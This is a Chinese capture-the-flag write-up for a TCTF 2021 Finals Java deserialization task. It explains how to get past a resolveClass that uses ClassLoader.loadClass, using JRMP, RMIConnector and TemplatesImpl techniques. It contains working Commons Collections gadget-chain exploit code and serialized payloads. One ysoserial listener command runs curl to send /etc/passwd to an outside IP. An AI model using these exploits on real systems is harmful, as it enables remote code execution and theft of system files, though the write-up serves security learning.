TCTF2021总决赛2解Java与Bypass Shiro550 ClassLoader.loadClass

前言

刚好TCTF2021 Final正在进行,队友发了一道Java题过来,本来白天没时间,但半夜三点突然爬起来看了会儿

睡不着睡不着 然后就天亮了。。。

先说题目内容

给了所有源码(dockerfile、jar等),GD-GUI反编译后先看了下lib

image-20210927171134438

醒目的CC组件

然后看Controller

BOOT-INF/classes/com/yxxx/buggyLoader/IndexController.java

image-20210927152705329

Utils.hexStringToBytes是它自定义类里面的一个函数,作用是将hex编码转化为byte数组

那这里的功能就很简单了,先获取到用户输入,然后对其进行一系列转换后进行readObject

中间有个

1
2
3
4
5
String name = myObjectInputStream.readUTF();
int year = myObjectInputStream.readInt();
if (name.equals("0CTF/TCTF") && year == 2021) {
myObjectInputStream.readObject();
}

这个也简单,在writeObject前再分别writeUTFwriteInt即可

那这个myObjectInputStreamObjectInputStream有什么区别呢?

image-20210927153221299

这里重写了ObjectInputStream的resolveClass

对比一下原生的 ObjectInputStream#resolveClass

image-20210927154304308

可以看到由原生的Class.forName改成了使用ClassLoader.loadClass

熟悉shiro550的都知道,shiro在readObject前使用的ClassResolvingObjectInputStream也重写了resolveClass,也改为使用了ClassLoader.loadClass

下面对于不了解Classloader的同学可能稍显晦涩,可以先去看一下 深入理解Java类加载器(ClassLoader) 一文,了解其中Classloader相关机制和函数都有助于理解

Class.forName与ClassLoader.loadClass区别

Class.forNameClassLoader.loadClass有什么区别呢?

网上只能搜到

image-20210927165620291

原因真的是单纯不解析数组类型吗?

看到 这里

image-20210927164151690

loadClass加载类时顺序如下

  1. loadClass会首先调用findLoadedClass(String)检查是否已加载,有则返回已加载类,没有则进行下一步
  2. 如果委托(delegate)属性设置为true,就会调用父类加载器的方法(如果有)
  3. 调用findClass从本地定义的存储库中查找此类
  4. 找不到又会从父加载器中进行加载

直接看代码吧,里面写得更清楚

java.lang.ClassLoader#loadClass

image-20211003182826177

我们来改一下CC5的payload来调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import EExp.MyObjectInputStream;



public class cc5 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
outputStream.writeObject(poc);
outputStream.close();

MyObjectInputStream inputStream = new MyObjectInputStream(new FileInputStream("./cc5"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

当执行到inputStream.readObject();时,就会调用到重写的resolveClass

image-20211003174801646

即调用this.classLoader.loadClass(desc.getName());,而此时this.classLoader已经被赋值为了URLClassLoader了,故会尝试调用java.net.URLClassLoader.loadClass,跟一下java.net.URLClassLoader#loadClass

image-20211003175025256

这里的参数类型不对,所以会调用父类的loadClass,即java.lang.ClassLoader#loadClass

image-20211003175227642

然后走到下面,也就是之前所说的那个loadClass

parent.loadClass设断点会发现,parent.ucp.path里面并没有CC组件的路径

image-20211003173835099

理所当然就会找不到Transformer

java.net.URLClassLoader

image-20211003172028822

故抛出ClassNotFoundException

而当我们使用上面jar中自带的数组类型就不会抛出错误

由此引出P神结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。

那我们该如何绕过呢?

绕过ClassLoader.loadClass

Method1:出网条件下的JRMPClient

之前Orange师傅提出过使用JRMP来攻击

因为这里需要绕一下readUTFreadInt,所以需要自己重写yso的payload来打

懒得引入yso来重写了,所以直接修改了ysoserial.Serializer#serialize,在objOut.writeObject(obj);前加了writeUTFwriteInt

然后重新编译了一个新的ysoserial-0.0.6-SNAPSHOT-all.jar

执行如下命令来得到base64序列化数据

1
$ java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "106.15.121.121:1234"|base64 |sed ':label;N;s/\n//;b label'

然后转一下hex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.util.Base64;

public class exp3 {
public static String bytesTohexString(byte[] bytes) {
if (bytes == null) return null;
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 0xF & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 0xF & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
public static void main(String[] args) throws Exception {
String exp = "rO0ABXcPAAkwQ1RGL1RDVEYAAAflc30AAAABABpqYXZhLnJtaS5yZWdpc3RyeS5SZWdpc3RyeXhyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyAC1qYXZhLnJtaS5zZXJ2ZXIuUmVtb3RlT2JqZWN0SW52b2NhdGlvbkhhbmRsZXIAAAAAAAAAAgIAAHhyABxqYXZhLnJtaS5zZXJ2ZXIuUmVtb3RlT2JqZWN002G0kQxhMx4DAAB4cHc3AApVbmljYXN0UmVmAA4xMDYuMTUuMTIxLjEyMQAABNIAAAAAblHq0AAAAAAAAAAAAAAAAAAAAHg=";
byte[] base64decodedBytes = Base64.getDecoder().decode(exp);
System.out.println(bytesTohexString(base64decodedBytes));
}
}

用为修改的yso来开启JRMP恶意服务

1
$ java -cp yso* ysoserial.exploit.JRMPListener 1234 CommonsCollections5 "curl 106.15.121.121:2333/`cat /etc/passwd`"

拿上面payload去打一下

image-20211003193125691

这里打的是本地起的jar,但拿到远程去打却发现没有成功

然后再去看了下题目给的材料

defaut.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
server {
listen 80;
server_name localhost;

#charset koi8-r;
#access_log /var/log/nginx/host.access.log main;

location / {
root /usr/share/nginx/html;
index index.html index.htm;
proxy_pass http://web:8080;
}

#error_page 404 /404.html;

# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
#省略。。。
}

然后是docker-compose.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
version: '2.4'
services:
nginx:
image: nginx:1.15
ports:
- "0.0.0.0:80:80"
restart: always
volumes:
- ./default.conf:/etc/nginx/conf.d/default.conf:ro
networks:
- internal_network
- out_network
web:
build: ./
restart: always
networks:
- internal_network
networks:
internal_network:
internal: true
ipam:
driver: default
out_network:
ipam:
driver: default

显而易见,这里出题人直接将web服务设置为了不出网,然后配置了一个nginx反向代理

那这也是JRMP打法的局限了,那我们又该如何绕过不出网的loadClass呢?

Method2:RMIConnectorServer

来自r3的解法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
package EExp;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.*;
import ysoserial.payloads.util.Reflections;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class JMX {

public static void main(String[] args) throws Exception {
Object obj = getObject();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oss = null;
oss = new ObjectOutputStream(bos);
oss.writeUTF("0CTF/TCTF");
oss.writeInt(2021);
oss.writeObject(obj);
oss.flush();
byte[] bytes = bos.toByteArray();
bos.close();

String hex = Utils.bytesTohexString(bytes);
System.out.println(hex);
// String hex = Utils.objectToHexString(obj);
byte[] b2 = Utils.hexStringToBytes(hex);
InputStream inputStream1 = new ByteArrayInputStream(b2);
ObjectInputStream objectInputStream1 = new MyObjectInputStream(inputStream1);
System.out.println(objectInputStream1.readUTF());
System.out.println(objectInputStream1.readInt());
Object obj2 = objectInputStream1.readObject();
}

public static Serializable getObject() throws Exception {
Transformer transformer = InvokerTransformer.getInstance("connect");
CommonsCollections4 commonsCollections3 = new CommonsCollections4();
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
objectOutputStream.writeObject(commonsCollections3.getObject("echo 1>./1.txt"));
String expbase64 = new String(Base64.getEncoder().encode(outputStream.toByteArray()));
String finalExp = "service:jmx:rmi:///stub/" + expbase64;
RMIConnector rmiConnector = new RMIConnector(new JMXServiceURL(finalExp), new HashMap<>());

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, rmiConnector);
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;

try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException var18) {
f = HashSet.class.getDeclaredField("backingMap");
}

Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;

try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException var17) {
f2 = HashMap.class.getDeclaredField("elementData");
}

Reflections.setAccessible(f2);
Object[] array = (Object[]) ((Object[]) f2.get(innimpl));
Object node = array[0];
if (node == null) {
node = array[1];
}

Field keyField = null;

try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception var16) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}

Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}

}

只拿到了r3师傅的一个exp,但也够了,自己本地分析调试一下就可知道

这条方法同样是根据之前Bypass Shiro550 Classloader.loadClass中

https://bling.kapsi.fi/blog/jvm-deserialization-broken-classldr.html

这篇文章的绕过思路,触发无参数方法来发起连接请求从而反序列化数据

image-20211003203515193

这里利用的是RMIConnectorServer

http://mx4j.sourceforge.net/docs/ch03s15.html

image-20211003200520771

由exp可知调用的无参方法是connect

image-20211003203712524

然后走到了下一个connect

image-20211003203744120

走到这里便开始从stub后面的序列化payload中寻找RMI服务了

image-20211003203924301

跟一下,因为我们使用的path是stub,所以又会调用到findRMIServerJRMP函数

image-20211003203949805

跟一下findRMIServerJRMP

image-20211003204407546

那这里就成功进行二次反序列化,从而绕过loadClass的限制了

Method3:URL#openConnection

这是上交0ops师傅的解法

https://github.com/ceclin/0ctf-2021-finals-soln-buggy-loader/tree/main/app/src/main/kotlin/ccl

同样只能分析exp了。。。

用kotlin写的exp,虽然没学过,但还是挺容易看懂

简单逛一下依旧见到了这篇文章的影子

http://mx4j.sourceforge.net/docs/ch03s15.html

里面提到了URL对象是可序列化的,并且存在一个openConnection方法

看一下exp

image-20211003205825120

image-20211003210016940

直接盲注flag了。。。

Method4:TemplatesImpl

这是P神在小密圈中Java安全漫谈-15一文提出的方法

大概就是用javassist将恶意类字节码传递给TemplatesImpl 来RCE

image-20211003210559469

不过这道题却没打通,有时间再来调一下

后面和队友@Firebasky讨论提醒了一下,这个在shiro中可以,而在这里不可以的原因是

shiro中使用的是new TomcatEmbeddedWebappClassLoader().loadClass(),而题目是 new URLClassLoader(urls);

new TomcatEmbeddedWebappClassLoader().loadClass() 是最后通过Class.forName去加载使用的,其父加载器是AppClassloader

而new URLClassLoader(urls)的父加载器是URLClassLoader,加载时找不到我们创建的evil class,故报错。

评论